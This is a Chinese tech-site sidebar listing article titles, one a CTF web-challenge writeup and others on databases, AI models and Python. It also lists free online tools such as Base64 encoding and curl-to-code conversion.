  • Newstar CTF Web 题目解析
  • Web 自动化测试入门:从概念到百度搜索实战
  • VSCode 搭建 Java+Maven 开发环境指南
  • MySQL 数据库核心技术与实践指南
  • 主流大模型横评:GPT、Claude、Gemini、Llama 及国产模型选型指南
  • DeepSeek 各版本说明与优缺点分析
  • 冷启动数据与多阶段训练在 DeepSeek 中的作用
  • 使用 wxauto 与百度千帆大模型构建微信聊天机器人
  • OpenClaw 架构原理与落地实战:AI Agent 执行网关底层逻辑
  • 大模型产品经理转型指南:核心能力与实施路径
  • 结合 cpolar 内网穿透实现 Open-Lovable 远程协作
  • Python 入门与进阶指南:从零开始掌握核心技能

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online